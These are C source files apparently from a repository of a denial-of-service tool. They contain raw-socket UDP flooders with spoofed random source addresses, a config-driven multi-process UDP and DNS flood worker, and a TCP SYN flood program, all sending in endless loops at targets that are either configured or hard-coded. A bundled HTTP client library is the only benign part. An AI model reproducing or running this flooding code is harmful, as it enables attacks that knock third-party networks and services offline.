= 5; /* header length */ ipH->ip_tos = 0; /* type of service */ ipH->ip_len = sizeof(struct ip) + sizeof(struct udphdr) + PACKET_MAX_SIZE; /* total length */ ipH->ip_ttl = 255; /* time to live */ ipH->ip_off = 0; /* fragment offset field */ ipH->ip_id = sizeof( 45 ); /* identification */ ipH->ip_p = IPPROTO_UDP; /* protocol */ ipH->ip_sum = 0; /* checksum */ ipH->ip_src.s_addr = inet_addr("1.1.1.1"); /* source address */ ipH->ip_dst.s_addr = inet_addr("1.1.1.1"); /* dest address */ } void setupUdpHeader( struct udphdr *udpH ) { //http://www.cnblogs.com/uvsjoh/archive/2012/12/31/2840883.html udpH->uh_sport = htons(1337); //16位源端口 udpH->uh_dport = htons(53); //16位目的端口 udpH->uh_ulen = htons(sizeof(struct udphdr ) + PACKET_MAX_SIZE); //16位UDP包长度 udpH->uh_sum = 0; //16位校验和 } int random_int(int min, int max) { srandom( time(0)+clock()+random() ); unsigned int s_seed = 214013 * rand() + 2531011; return min+(s_seed ^ s_seed>>15)%(max-min+1); } unsigned long random_lip(void) { char convi[16]; sprintf (convi, "%d.%d.%d.%d", random_int(1, 254), random_int(1, 254), random_int(1, 254), random_int(1, 254)); return inet_addr (convi); } char * random_cip (void) { struct in_addr hax0r; hax0r.s_addr = random_lip(); return (inet_ntoa (hax0r)); } static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数 int gap=end-begin+1; int ret=0; //系统时间初始化 srand((unsigned)time(0)); ret=random()%gap+begin;//介于begin与end之间的值 return ret; } /* int main(void) { int s; struct sockaddr_in sin; //char buff[PACKET_MAX_SIZE]; char ipSource[15]; char ipDest[15]; struct ip *ipH; struct udphdr *udpH; char *dgm, *data; printf("[?]IP source: "); scanf("%s" , ipSource ); printf("[?]IP destination: "); scanf("%s" , ipDest ); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if( s < 0 ) { printf("[-]Error to open socket.\n"); return 1; } int pksize = sizeof(struct ip) + sizeof(struct udphdr) + PACKET_MAX_SIZE; dgm = (char *) malloc(pksize); sin.sin_family = AF_INET; sin.sin_port = htons(53); //攻击端口 sin.sin_addr.s_addr = inet_addr( ipDest ); //memset( buff , 0 , PACKET_MAX_SIZE ); ipH = (struct ip *) dgm; udpH = (struct udphdr *)( dgm + sizeof( struct ip ) ); data = (char *) (dgm + sizeof(struct ip) + sizeof(struct udphdr)); memset(dgm, 0, pksize); memcpy((char *) data, "G", PACKET_MAX_SIZE); setupIpHeader( ipH ); setupUdpHeader( udpH ); //udpH->uh_dport = htons( port ); ipH->ip_src.s_addr = inet_addr( ipSource ); ipH->ip_dst.s_addr = inet_addr( ipDest ); //same as sin.sin_addr.s_addr //udp->uh_sum = csum( buff , ipH->tot_len >> 1 ); udp.ipH = ipH; udp.udpH = udpH; udp.ipH->ip_sum = DoS_cksum((unsigned short*)&udp.ipH,sizeof(udp.ipH));//检验和 udp.udpH->uh_sum = DoS_cksum((unsigned short*)&udp.udpH,pksize);//UDP校验和 const int optVal = 1; if( setsockopt( s , IPPROTO_IP , IP_HDRINCL , &optVal , sizeof( optVal ) ) < 0 ) { printf("[-]Error to setsockopt to the socket.\n"); return 1; } while( 1 ) { if( sendto( s , &udp , ipH->ip_len , 0 , ( struct sockaddr *) &sin , sizeof(struct sockaddr)) == -1 ) { printf("ipH->ip_len=%d,", ipH->ip_len); printf("[-]Error to sendto : %s[%d].\n" , strerror(errno), errno ); return 1; } sleep(3); } printf("\n"); free(dgm); close(s); return 0; } */ int main(void) { int s; int pksize = sizeof(struct ip) + sizeof(struct udphdr) + PACKET_MAX_SIZE; struct in_addr src;//源地址 struct in_addr dst;//目的地址 struct sockaddr_in sin; char *d = "172.16.17.32"; //char *d = "127.0.0.1"; udp.ipH.ip_v = 4; /* version */ udp.ipH.ip_hl = 5; /* header length */ udp.ipH.ip_tos = 0; /* type of service */ udp.ipH.ip_len = pksize; /* total length */ udp.ipH.ip_ttl = 255; /* time to live */ udp.ipH.ip_off = 0; /* fragment offset field */ udp.ipH.ip_id = sizeof( 45 ); /* identification */ udp.ipH.ip_p = IPPROTO_UDP; /* protocol */ udp.ipH.ip_sum = 0; /* checksum */ src.s_addr = (unsigned long)myrandom(0,65535); /* source address */ udp.ipH.ip_src = src; dst.s_addr = inet_addr(d); /* dest address */ udp.ipH.ip_dst = dst; udp.ipH.ip_sum = DoS_cksum((unsigned short*)&udp.ipH,sizeof(udp.ipH));//检验和 udp.udpH.uh_sport = htons(1337); //16位源端口 udp.udpH.uh_dport = htons(53); //16位目的端口 udp.udpH.uh_ulen = htons(sizeof(struct udphdr ) + PACKET_MAX_SIZE); //16位UDP包长度 udp.udpH.uh_sum = 0; //16位校验和 udp.udpH.uh_sum = DoS_cksum((unsigned short*)&udp.udpH, pksize);//UDP校验和 sin.sin_family = AF_INET; sin.sin_port = htons(53); //攻击端口 sin.sin_addr.s_addr = inet_addr( d ); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if( s < 0 ) { printf("[-]Error to open socket.\n"); return 1; } const int optVal = 1; if( setsockopt( s , IPPROTO_IP , IP_HDRINCL , &optVal , sizeof( optVal ) ) < 0 ) { printf("[-]Error to setsockopt to the socket.\n"); return 1; } while( 1 ) { src.s_addr = (unsigned long)myrandom(0,65535); /* source address */ udp.ipH.ip_src = src; udp.ipH.ip_sum = DoS_cksum((unsigned short*)&udp.ipH,sizeof(udp.ipH));//检验和 if( sendto( s , &udp , pksize , 0 , ( struct sockaddr *) &sin , sizeof(sin)) < 0 ) { printf("[-]Error to sendto : %s[%d].\n" , strerror(errno), errno ); return 1; } sleep(3); } printf("\n"); close(s); }
millken/ddd
main.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { if(getuid() != 0) { printf("You must be running as root!\n"); return 1; } parse_config(); start_worker(); return 0; } void usage(char *str); void usage(char *str) { printf("%s\n config.ini\n", str); exit(0); }
millken/ddd
test/udpflooder.c
<reponame>millken/ddd //http://www.noktec.be/archives/392 #include <stdio.h> // printf/fprintf #include <stdlib.h> #include <string.h> #include <netinet/ip.h> // struct ip #include <sys/socket.h> // socket() #include <netinet/in.h> // struct sockadd #define __FAVOR_BSD #define _USE_BSD #include <netinet/udp.h> // struct udp #define PADDING_SIZE 4096 #define N_LOOP 1000000 #define U_WAITING 10 void udp(char *); unsigned short int in_chksum (unsigned short int *, int); unsigned long hasard(unsigned long, unsigned long); main() { srand(time(NULL)); int i; for(i=0;i<N_LOOP;i++) { udp("172.16.31.10"); usleep(U_WAITING); //printf("+"); } } void udp(char *cible) { int sd; sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sd == -1) { fprintf(stderr,"socket() error, root ?\n"); } unsigned long ip_src = hasard(4294967295/2,4294967295); unsigned long ip_dst = inet_addr(cible); unsigned short p_src = (unsigned short) hasard(0,65535); unsigned short p_dst = (unsigned short) hasard(0,65535); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = p_dst; sin.sin_addr.s_addr = ip_dst; // dst struct ip *ip; struct udphdr *udp; char *dgm, *data; int pksize = sizeof(struct ip) + sizeof(struct udphdr) + PADDING_SIZE; dgm = (char *) malloc(pksize); ip = (struct ip *) dgm; udp = (struct udphdr *) (dgm + sizeof(struct ip)); data = (char *) (dgm + sizeof(struct ip) + sizeof(struct udphdr)); memset(dgm, 0, pksize); memcpy((char *) data, "G", PADDING_SIZE); int un = 1; if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&un, sizeof(un)) == -1) { fprintf(stderr,"setsockopt()"); exit(-1); } //entete ip ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = sizeof(pksize); ip->ip_ttl = 255; ip->ip_off = 0; ip->ip_id = sizeof( 45 ); ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; // a remplir aprés ip->ip_src.s_addr = ip_src; ip->ip_dst.s_addr = ip_dst; //entete udp udp->uh_sport = p_src; udp->uh_dport = p_dst; udp->uh_ulen = htons(sizeof(struct udphdr ) + PADDING_SIZE); udp->uh_sum = 0; // envoi if (sendto(sd, dgm, pksize, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr)) == -1) { fprintf(stderr,"oops, sendto() error\n"); } //libere la memoire free(dgm); close(sd); } u_short in_chksum (u_short *addr, int len) // taken from papasmurf.c { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } unsigned long hasard(unsigned long min, unsigned long max){ return (u_long) (min + ((float) rand() / RAND_MAX * (max - min + 1))); }
millken/ddd
3rd/HttpClient/HttpClient.h
<filename>3rd/HttpClient/HttpClient.h<gh_stars>1-10 #ifndef _HttpClient_H #define _HttpClient_H #include <stdbool.h> #include <stdarg.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include "http_parser.h" #define MAXLINE 4096 #define alloc_cpy(dest, src, len) \ dest = malloc(len + 1);\ memcpy(dest, src, len);\ dest[len] = '\0'; //typedef char * string; typedef struct HttpClient HttpClient; /* typedef enum { false, true } bool; */ typedef struct http_url { char *scheme, *host, *user, *pass, *path, *query, *fragment; char *port; }http_url; typedef struct http_header { char *name, *value; struct http_header *next; }http_header; typedef struct http_request { int method; const char *host; const char *path; int port; http_header *headers; const char *body; } http_request; //https://github.com/georgi/hitpoint/blob/master/hitpoint.h typedef struct http_response { int fd; int status; int complete; int headers_complete; int header_state; http_header *headers; char *body; unsigned int pos; unsigned int content_length; } http_response; HttpClient* New_HttpClient(void); struct HttpClient { char error[200]; http_url *urls; http_header *headers; http_response *response; char* (*getError)(HttpClient* self); int (*connect)(HttpClient* self, char *host, u_short port); bool (*setDefaultHeader)(HttpClient* self); bool (*setHeader)(HttpClient* self, char* header_name, char* header_value); bool (*addHeader)(HttpClient* self, char* header_name, char* header_value); struct http_url *(*parse_url)(HttpClient* self, char *url); bool (*setMaxRedirects)(HttpClient* self, int n); char* (*get)(HttpClient* self, char* url); char* (*format_request)(HttpClient* self); bool (*free)(HttpClient* self); }; char *aprintf(char **s, const char *fmt, ...); static char *extract_url_part(char *, struct http_parser_url *, enum http_parser_url_fields); static int http_read_headers(http_parser *parser, http_response *response); #endif
millken/ddd
3rd/HttpClient/test.c
#include <stdio.h> #include "HttpClient.h" int main(int argc, char* args[]) { struct HttpClient *ht = New_HttpClient(); char *body; int i = 0; for (i = 0; i < 10; ++i) { ht = New_HttpClient(); body = ht->get(ht, args[1]); if (ht->getError(ht) != NULL && body != NULL) { printf("%d\n", strlen(body)); } ht->free(ht); } exit(1); //ht->setHeader(ht, "Host", "google.com"); ht->setHeader(ht, "Server", "gws"); ht->setHeader(ht, "User-Agent", "gws"); ht->addHeader(ht, "User-Agent", "gws"); body = ht->get(ht, args[1]); if (ht->getError(ht) != NULL) { printf("Err: %s\n", ht->getError(ht)); exit(1); } printf("urls.scheme=%s,urls.host=%s,urls.port=%s,urls.path=%s\n", ht->urls->scheme, ht->urls->host, ht->urls->port, ht->urls->path); struct http_header *header = ht->headers; while (header->next != NULL) { header = header->next; //printf("header[%s: %s]\n", header->name, header->value); } header = ht->response->headers; while (header->next != NULL) { header = header->next; printf("header[%s: %s]\n", header->name, header->value); } printf("%d\n", ht->response->status); printf("%d=%d\n", strlen(body), ht->response->pos); //printf("header=%d, header[0]=%s\n", sizeof(ht->header), ht->header[0]); ht->free(ht); return 0; }
millken/ddd
test/tcpsynflood.c
//https://github.com/raphui/TCPSynFlood/blob/master/main.c #include <stdio.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <string.h> #include <unistd.h> #include <errno.h> #define PACKET_MAX_SIZE 4096 // 16 bits ==> 2 octets => unsigned short unsigned short csum( char *buff , int size ) { unsigned long sum; while( size-- != 0 ) sum += *buff++; //Take first 4 bits sum = ( sum >> 16 ) + ( sum & 0xffff ); sum += ( sum >> 16 ); //Return one's complement return ( unsigned short )( ~sum ); } void setupIpHeader( struct iphdr *ipH ) { ipH->ihl = 5; ipH->version = 4; ipH->tos = 0; ipH->tot_len = sizeof( struct iphdr ) + sizeof( struct tcphdr ); ipH->id = htonl( 54321 ); ipH->frag_off = 0; ipH->ttl = 255; ipH->protocol = 6; ipH->check = 0; } void setupTcpHeader( struct tcphdr *tcpH ) { tcpH->source = htons( 1337 ); tcpH->seq = random(); tcpH->ack_seq = 0; tcpH->res2 = 0; tcpH->doff = 5; tcpH->syn = 1; tcpH->window = htonl( 65535 ); tcpH->check = 0; tcpH->urg_ptr = 0; } int main(void) { int s; int port; struct sockaddr_in sin; char buff[PACKET_MAX_SIZE]; char ipSource[15]; char ipDest[15]; struct iphdr *ipH; struct tcphdr *tcpH; printf("[?]IP source: "); scanf("%s" , ipSource ); printf("[?]IP destination: "); scanf("%s" , ipDest ); printf("[?]Port: "); scanf("%d" , &port ); s = socket( AF_INET , SOCK_RAW , IPPROTO_TCP ); if( s < 0 ) { printf("[-]Error to open socket.\n"); return 1; } sin.sin_family = AF_INET; sin.sin_port = htons( port ); sin.sin_addr.s_addr = inet_addr( ipDest ); memset( buff , 0 , PACKET_MAX_SIZE ); ipH = ( struct iphdr *)buff; tcpH = ( struct tcphdr *)( buff + sizeof( struct iphdr ) ); setupIpHeader( ipH ); setupTcpHeader( tcpH ); tcpH->dest = htons( port ); ipH->saddr = inet_addr( ipSource ); ipH->daddr = inet_addr( ipDest ); //same as sin.sin_addr.s_addr tcpH->check = csum( buff , ipH->tot_len >> 1 ); const int optVal = 1; if( setsockopt( s , IPPROTO_IP , IP_HDRINCL , &optVal , sizeof( optVal ) ) < 0 ) { printf("[-]Error to setsockopt to the socket.\n"); return 1; } while( 1 ) { if( sendto( s , buff , ipH->tot_len , 0 , ( struct sockaddr *) &sin , sizeof( sin ) ) < 0 ) { printf("[-]Error to sendto : %d.\n" , errno ); return 1; } } printf("\n"); return 0; }
millken/ddd
config.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <fcntl.h> #include "config.h" extern struct Configuration *config; void daemonize_init() { int i; if(getppid()==1) // parent pid ==1, the init process return; /* already a daemon */ i=fork(); if (i<0) exit(1); /* fork error */ if (i>0) exit(0); /* parent exits */ /* child (daemon) continues */ setsid(); /* obtain a new process group */ for (i=getdtablesize();i>=0;--i) close(i); /* close all descriptors */ i=open("/dev/null",O_RDWR); dup(i); dup(i); /* handle standart I/O */ umask(027); /* set newly created file permissions */ //chdir(WORK_DIR); /* change running directory */ signal(SIGCHLD,SIG_IGN); /* ignore child */ signal(SIGTSTP,SIG_IGN); /* ignore tty signals */ signal(SIGTTOU,SIG_IGN); signal(SIGTTIN,SIG_IGN); //the following signals have been captured in forwarder.c //signal(SIGHUP,signal_handler); /* catch hangup signal */ //signal(SIGTERM,signal_handler); /* catch kill signal */ //signal(SIGINT,signal_handler); /* catch kill signal */ } int bool_value(char *value) { if (!strcasecmp(value, "yes") || !strcasecmp(value, "true")) return TRUE; return FALSE; } int config_set_default( Configuration * config) { if( config == NULL) return -1; memset(config, 0, sizeof (Configuration)); config->daemon = FALSE; return 0; } static int parse_handler(void* user, const char* section, const char* name, const char* value) { Configuration* pconfig = (Configuration*)user; #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 //printf("section:%s,name:%s, value:%s\n", section, name, value); if (MATCH("", "daemon")) { pconfig->daemon = bool_value((char *)value); } else if (MATCH("dns", "active")) { pconfig->dns_active = bool_value((char *)value); } else if (MATCH("dns", "threads")) { pconfig->dns_threads = atoi(value); } else if (MATCH("dns", "mode")) { pconfig->dns_mode = atoi(value); } else if (MATCH("dns", "type")) { pconfig->dns_type = strdup(value); } else if (MATCH("dns", "domain")) { pconfig->dns_domain = strdup(value); } else if (MATCH("dns", "sourceip")) { pconfig->dns_sourceip = strdup(value); } else if (MATCH("dns", "targetip")) { pconfig->dns_targetip = strdup(value); } else if (MATCH("dns", "file")) { pconfig->dns_file = strdup(value); /*udp config*/ } else if (MATCH("udp", "active")) { pconfig->udp_active = bool_value((char *)value); } else if (MATCH("udp", "source-ip")) { pconfig->udp_sourceip = strdup(value); } else if (MATCH("udp", "target-ip")) { pconfig->udp_targetip = strdup(value); } else if (MATCH("udp", "source-port")) { pconfig->udp_sourceport = atoi(value); } else if (MATCH("udp", "target-port")) { pconfig->udp_targetport = atoi(value); } else if (MATCH("udp", "package-size")) { pconfig->udp_pkgsize = atoi(value); } else if (MATCH("udp", "sleep-time")) { pconfig->udp_sleeptime = atoi(value); } else if (MATCH("udp", "threads")) { pconfig->udp_threads = atoi(value); } else { return 0; /* unknown section/name, error */ } return 1; } void parse_config() { if (ini_parse("config.ini", parse_handler, &config) < 0) { printf("Can't load 'test.ini'\n"); exit( 1 ); } }
millken/ddd
3rd/HttpClient/HttpClient.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/time.h> #include <netinet/tcp.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> #include "HttpClient.h" #include "http_parser.h" #include "sds.h" static int HttpClient_connect(HttpClient* self, char *host, u_short port); char* HttpClient_getError(HttpClient* self); static bool HttpClient_free(HttpClient* self); static bool HttpClient_setDefaultHeader(HttpClient* self); static bool HttpClient_setHeader(HttpClient* self, char* header_name, char* header_value); static bool HttpClient_addHeader(HttpClient* self, char* header_name, char* header_value); struct http_url * HttpClient_parse_url(HttpClient* self, char *url); char * HttpClient_format_request(HttpClient* self); char * HttpClient_get(HttpClient* self, char* url); static const HttpClient object_template = { .getError = HttpClient_getError, .connect = HttpClient_connect, .setDefaultHeader = HttpClient_setDefaultHeader, .setHeader = HttpClient_setHeader, .addHeader = HttpClient_addHeader, .parse_url = HttpClient_parse_url, .format_request = HttpClient_format_request, .get = HttpClient_get, .free = HttpClient_free, }; HttpClient* New_HttpClient(void) { //printf("%s\n", __FUNCTION__); HttpClient* self = malloc(sizeof(struct HttpClient)); if (self == NULL) { //logger_error("Memory not enough"); return NULL; } memcpy(self, &object_template, sizeof(HttpClient)); self->urls = malloc(sizeof(struct http_url)); self->headers = malloc(sizeof(struct http_header)); self->response = malloc(sizeof(struct http_response)); //self->response->headers = malloc(sizeof(struct http_header)); self->setDefaultHeader(self); return self; } //https://github.com/wg/wrk/blob/master/src/wrk.c struct http_url * HttpClient_parse_url(HttpClient* self, char *url) { struct http_parser_url parser_url={0}; struct http_url *urls; urls = self->urls; if (http_parser_parse_url(url, strlen(url), 0, &parser_url)) { return NULL; } urls->scheme = extract_url_part(url, &parser_url, UF_SCHEMA); urls->host = extract_url_part(url, &parser_url, UF_HOST); urls->port = extract_url_part(url, &parser_url, UF_PORT); urls->path = "/"; if (parser_url.field_set & (1 << UF_PATH)) { urls->path = &url[parser_url.field_data[UF_PATH].off]; } return urls; } static int HttpClient_connect(HttpClient* self, char *host, u_short port) { int timeout = 3; //3 sec connect timeout struct timeval tv_conn; tv_conn.tv_sec = timeout; tv_conn.tv_usec = 0; struct timeval tv_recv; tv_recv.tv_sec = 5; /* 5 Secs Timeout */ tv_recv.tv_usec = 0; // Not init'ing this can cause strange errors struct hostent *hp; struct sockaddr_in addr; int on = 1; int sock = -1; if((hp = gethostbyname(host)) == NULL){ sprintf(self->error, "Unable to resolve: %s", host); return 0; } bcopy(hp->h_addr, &addr.sin_addr, hp->h_length); addr.sin_port = htons(port); addr.sin_family = AF_INET; //memcpy(&addr.sin_addr.s_addr,hp->h_addr,hp->h_length); sock = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv_conn, sizeof(tv_conn)); setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int)); setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv_recv, sizeof(tv_recv)); if(sock == -1){ sprintf(self->error, "setsockopt error"); return sock; } if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { if (errno == EINPROGRESS) { sprintf(self->error, "connect %s timeout", host); return -1; } return sock; } return sock; } char *aprintf(char **s, const char *fmt, ...) { char *c = NULL; int n, len; va_list ap; va_start(ap, fmt); n = vsnprintf(NULL, 0, fmt, ap) + 1; va_end(ap); len = *s ? strlen(*s) : 0; if ((*s = realloc(*s, (len + n) * sizeof(char)))) { c = *s + len; va_start(ap, fmt); vsnprintf(c, n, fmt, ap); va_end(ap); } return c; } char * HttpClient_format_request(HttpClient* self) { char *req = NULL; char *head = NULL; struct http_header *header = self->headers; while (header->next != NULL) { header = header->next; if(header->name != NULL && header->value != NULL) aprintf(&head, "%s: %s\r\n", header->name, header->value); } aprintf(&req, "GET %s HTTP/1.1\r\n", self->urls->path); if (self->urls->host) aprintf(&req, "Host: %s", self->urls->host); if (self->urls->port) aprintf(&req, ":%s", self->urls->port); if (self->urls->host) aprintf(&req, "\r\n"); aprintf(&req, "%s\r\n", head ? head : ""); free(head); return req; } char * HttpClient_get(HttpClient* self, char* url) { if (self->parse_url(self, url) == NULL) { sprintf(self->error, "invalid URL: %s", url); return NULL; } u_short port = self->urls->port != NULL ? atoi(self->urls->port) : 80; char sendline[MAXLINE + 1], recvline[MAXLINE + 1]; int fd, n; char *request = self->format_request(self); self->response->fd = self->connect(self, self->urls->host, port); if (self->response->fd <= 0) { return NULL; } http_parser parser; http_parser_init(&parser, HTTP_RESPONSE); parser.data = self->response; write(self->response->fd, request, strlen(request)); if (http_read_headers(&parser, self->response) != 0) { sprintf(self->error, " read hreader error"); return NULL; } int count = 0; self->response->body = malloc(self->response->content_length + 1); memset(self->response->body, 0, self->response->content_length + 1); char *p = self->response->body; while ((count = read(self->response->fd, p, 4096)) > 0) { self->response->pos += count; p += count; } close(self->response->fd); return self->response->body; } static inline struct http_header *new_http_header() { struct http_header *header = malloc(sizeof(struct http_header)); header->name = NULL; header->value = NULL; header->next = NULL; return header; } static bool HttpClient_setDefaultHeader(HttpClient* self) { self->setHeader(self, "User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"); self->setHeader(self, "Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); self->setHeader(self, "Accept-Encoding", "deflate"); self->setHeader(self, "Connection", "Close"); return true; } static bool HttpClient_setHeader(HttpClient* self, char* header_name, char* header_value) { struct http_header *header = self->headers; sds s; while (header != NULL) { if (header->name != NULL /*&& strcmp((const char*)header->name, (const char*)header_name) == 0*/ ) { //s = sdsnew(header_value); //header->value = sdscat(s, header_value); return true; } if (header->next == NULL) { header->next = new_http_header(); break; } header = header->next; } header = header->next; s = sdsnew(header_name); header->name = sdscat(s, header_name); s = sdsnew(header_value); header->value = sdscat(s, header_value); //printf("\nheader_name = %s, %d\n", header_name, strlen(header_name)); //alloc_cpy(header->name, header_name, strlen(header_name)); //alloc_cpy(header->value, header_value, strlen(header_value)); return true; } static bool HttpClient_addHeader(HttpClient* self, char* header_name, char* header_value) { struct http_header *header = self->headers; while (header != NULL) { if (header->next == NULL) { header->next = new_http_header(); break; } header = header->next; } header = header->next; header->name = header_name; header->value = header_value; return true; } char* HttpClient_getError(HttpClient* self) { return strlen(self->error) ? self->error : NULL; } static bool HttpClient_free(HttpClient* self) { http_header *header = self->headers; while (header != NULL) { struct http_header *prev = header; if(header->name != NULL) sdsfree(header->name); if(header->value != NULL) sdsfree(header->value); header = header->next; free(prev); } free(self->headers); if (self != NULL)free(self); return true; } static int on_url(http_parser *parser, const char *at, size_t len) { return 0; } static int on_message_begin(http_parser *parser) { return 0; } static int on_header_field(http_parser *parser, const char *at, size_t len) { http_response *response = parser->data; http_header *header; if (response->header_state != 1) { header = malloc(sizeof(struct http_header)); header->name = NULL; header->value = NULL; header->next = response->headers; response->headers = header; } else { header = response->headers; } sds s = sdsnewlen(at, len); header->name = header->name == NULL ? s : sdscatsds(header->name, s); response->header_state = 1; return 0; } static int on_header_value(http_parser *parser, const char *at, size_t len) { http_response *response = parser->data; http_header *header = response->headers; sds s = sdsnewlen(at, len); header->value = header->value == NULL ? s : sdscatsds(header->value, s); response->header_state = 2; return 0; } static int on_status(http_parser *parser, const char *at, size_t len) { http_response *response = parser->data; response->status = parser->status_code; return 0; } static int on_headers_complete(http_parser *parser) { http_response *response = parser->data; response->content_length = parser->content_length; response->headers_complete = 1; return 0; } static int on_message_complete(http_parser *parser) { http_response *response = parser->data; response->complete = 1; return 0; } http_parser_settings parser_settings = { .on_message_begin = on_message_begin, .on_url = on_url, .on_status = on_status, .on_header_field = on_header_field, .on_header_value = on_header_value, .on_headers_complete = on_headers_complete, .on_message_complete = on_message_complete, }; static int http_read_headers(http_parser *parser, http_response *response) { int ret; char buf[1]; int fd = response->fd; while (response->headers_complete == 0 && (ret = read(fd, buf, sizeof(buf))) > 0) { if (http_parser_execute(parser, &parser_settings, buf, ret) != (size_t) ret) { return -1; } } return 0; } static char *extract_url_part(char *url, struct http_parser_url *parser_url, enum http_parser_url_fields field) { char *part = NULL; if (parser_url->field_set & (1 << field)) { uint16_t off = parser_url->field_data[field].off; uint16_t len = parser_url->field_data[field].len; part = malloc(len + 1 * sizeof(char)); memcpy(part, &url[off], len); } return part; }
millken/ddd
udp.c
<reponame>millken/ddd #include <stdio.h> #include <errno.h> #include <string.h> //memset #include <stdlib.h> //exit #include "utils.h" #include "udp.h" #include "config.h" Configuration config; void udp_worker() { printf("start udp\n"); int i; for (i=0; i < config.udp_threads; i++) { //new_thread_p(udp_send, 0); fork_process(udp_send); } } int udp_send( ) { struct ip *ipH; struct udphdr *udpH; char *packet; int rawsock, sport; struct sockaddr_in sin; unsigned long saddr, daddr; char ip1[4], ip2[4], ip3[4], ip[4]; int pkgsize = sizeof (struct ip) + sizeof(struct udphdr) + config.udp_pkgsize; packet = (char *) malloc(sizeof (struct ip) + sizeof(struct udphdr) + config.udp_pkgsize); ipH = (struct ip *) packet; udpH = (struct udphdr *) (packet + sizeof(struct ip)); memset(packet, 0, pkgsize); daddr = inet_addr(config.udp_targetip); // ip header ipH->ip_v = 4; /* version */ ipH->ip_hl = 5; /* header length */ ipH->ip_tos = 0x00; /* type of service */ //ipH->ip_len = pkgsize; /* total length */ ipH->ip_ttl = 255; /* time to live */ ipH->ip_off = 0; /* fragment offset field */ ipH->ip_id = htons(random_int(1, 65535)); /* identification */ ipH->ip_p = IPPROTO_UDP; /* protocol */ ipH->ip_sum = 0; /* checksum */ //ipH.ip_src.s_addr = saddr; /* source address */ ipH->ip_dst.s_addr = daddr; /* dest address */ //ipH.ip_sum = ip_sum((unsigned short*)&ipH,sizeof(ipH));//检验和 // udp header //udpH.uh_sport = htons( sport ); //16位源端口 udpH->uh_dport = htons( config.udp_targetport ); //16位目的端口 udpH->uh_ulen = htons(sizeof(struct udphdr ) + config.udp_pkgsize); //16位UDP包长度 //udpH.uh_sum = 0; //16位校验和 //udpH.uh_sum = DoS_cksum((unsigned short*)&udp.udpH, pkgsize);//UDP校验和 sin.sin_family = AF_INET; //sin.sin_port = htons(53); //攻击端口 sin.sin_addr.s_addr = daddr; rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if( rawsock < 0 ) { printf("[-]Error to open socket.\n"); return 1; } const int optVal = 1; setsockopt(rawsock, SOL_SOCKET,SO_REUSEADDR | SO_BROADCAST, &optVal, sizeof(optVal)); if( setsockopt( rawsock , IPPROTO_IP , IP_HDRINCL , &optVal , sizeof( optVal ) ) < 0 ) { printf("[-]Error to setsockopt to the socket.\n"); return 1; } printf("packet=%d, len=%d, pkgsize=%d\nsending ...\n", sizeof(packet), config.udp_pkgsize, pkgsize ); while(1) { saddr = ( strcmp(config.udp_sourceip, "*") == 0 ) ? random_lip() : inet_addr((config.udp_sourceip)); sport = config.udp_sourceport == 0 ? random_int(1, 65535) : config.udp_sourceport; ipH->ip_id = htons(random_int(1, 65535)); ipH->ip_src.s_addr = saddr; ipH->ip_sum = ip_sum((unsigned short*)&ipH, sizeof(ipH)); udpH->uh_sport = htons( sport ); ipH->ip_len = pkgsize; //udpH->uh_sum = ip_sum((unsigned short*)&udpH, sizeof(udpH)); if( sendto( rawsock , packet, pkgsize , 0 , ( struct sockaddr *) &sin , sizeof(sin)) < 0 ) { printf("[-]Error to sendto : %s[%d].\n" , strerror(errno), errno ); return 1; } if (config.udp_sleeptime > 0) usleep(config.udp_sleeptime); } return 0; }
millken/ddd
worker.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #include <unistd.h> #include <pthread.h> #include "config.h" #include "worker.h" #include "dns.h" #include "udp.h" #include "utils.h" Configuration config; int fork_process(void (*func)()) { int ret = fork(); if(ret == 0) { func(); } if(ret > 0) { } return ret; } int new_thread_p(void *func, void *i) { pthread_t thread; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setscope(&attr, PTHREAD_SCOPE_SYSTEM); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); if(pthread_create(&thread, &attr, func, i)) { return 0; } return 1; } void start_worker() { if (config.dns_active) { printf("dns child\n"); fork_process(dns_master); } if (config.udp_active) { printf("udp child\n"); fork_process(udp_worker); } printf("Config loaded : daemon=%d, dns.active=%d,dns.threads=%d, dns.domain=%s \n", config.daemon, config.dns_active, config.dns_threads, config.dns_domain); while(1) { sleep(5); } } void dns_master() { int i; for (i=0; i < config.dns_threads; i++) { new_thread_p(dns_send1, 0); } printf("dns master start\n"); } void dns_worker() { printf("dns worker .%s\n", config.dns_domain); }
millken/ddd
include/utils.h
